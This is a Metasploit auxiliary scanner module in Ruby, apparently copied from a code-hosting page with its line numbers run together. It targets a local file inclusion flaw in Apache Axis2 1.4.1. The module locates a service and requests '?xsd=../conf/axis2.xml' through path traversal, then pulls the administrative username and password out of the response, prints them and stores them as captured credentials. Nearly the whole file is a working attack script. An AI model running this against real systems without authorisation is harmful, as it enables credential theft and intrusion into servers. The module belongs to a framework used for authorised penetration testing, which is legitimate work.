Path: blob/master/modules/auxiliary/scanner/http/axis_local_file_include.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Report8include Msf::Auxiliary::Scanner910def initialize11super(12'Name' => 'Apache Axis2 v1.4.1 Local File Inclusion',13'Description' => %q{14This module exploits an Apache Axis2 v1.4.1 local file inclusion (LFI) vulnerability.15By loading a local XML file which contains a cleartext username and password, attackers can trivially16recover authentication credentials to Axis services.17},18'References' => [19['EDB', '12721'],20['OSVDB', '59001'],21],22'Author' => [23'Tiago Ferreira <tiago.ccna[at]gmail.com>'24],25'License' => MSF_LICENSE26)2728register_options([29Opt::RPORT(8080),30OptString.new('TARGETURI', [false, 'The path to the Axis listServices', '/axis2/services/listServices']),31])32end3334def run_host(ip)35uri = normalize_uri(target_uri.path)3637begin38res = send_request_raw({39'method' => 'GET',40'uri' => uri,41}, 25)4243if (res and res.code == 200)44res.body.to_s.match(/\/axis2\/services\/([^\s]+)\?/)45new_uri = normalize_uri("/axis2/services/#{$1}")46get_credentials(new_uri)4748else49print_status("#{full_uri} - Apache Axis - The remote page not accessible")50return5152end53rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout54rescue ::Timeout::Error, ::Errno::EPIPE55end56end5758def report_cred(opts)59service_data = {60address: opts[:ip],61port: opts[:port],62service_name: (ssl ? 'https' : 'http'),63protocol: 'tcp',64workspace_id: myworkspace_id65}6667credential_data = {68origin_type: :service,69module_fullname: fullname,70username: opts[:user],71private_data: opts[:password],72private_type: :password73}.merge(service_data)7475login_data = {76last_attempted_at: DateTime.now,77core: create_credential(credential_data),78status: Metasploit::Model::Login::Status::SUCCESSFUL,79proof: opts[:proof]80}.merge(service_data)8182create_credential_login(login_data)83end8485def get_credentials(uri)86lfi_payload = "?xsd=../conf/axis2.xml"8788begin89res = send_request_raw({90'method' => 'GET',91'uri' => "#{uri}" + lfi_payload,92}, 25)9394print_status("#{full_uri} - Apache Axis - Dumping administrative credentials")9596if res.nil?97print_error("#{full_uri} - Connection timed out")98return99end100101if (res.code == 200)102if res.body.to_s.match(/axisconfig/)103104res.body.scan(/parameter\sname=\"userName\">([^\s]+)</)105username = $1106res.body.scan(/parameter\sname=\"password\">([^\s]+)</)107password = $1108109print_good("#{full_uri} - Apache Axis - Credentials Found Username: '#{username}' - Password: '#{password}'")110111report_cred(ip: rhost, port: rport, user: username, password: password, proof: res.body)112113else114print_error("#{full_uri} - Apache Axis - Not Vulnerable")115return :abort116end117118else119print_error("#{full_uri} - Apache Axis - Unrecognized #{res.code} response")120return :abort121122end123rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout124rescue ::Timeout::Error, ::Errno::EPIPE125end126end127end128129130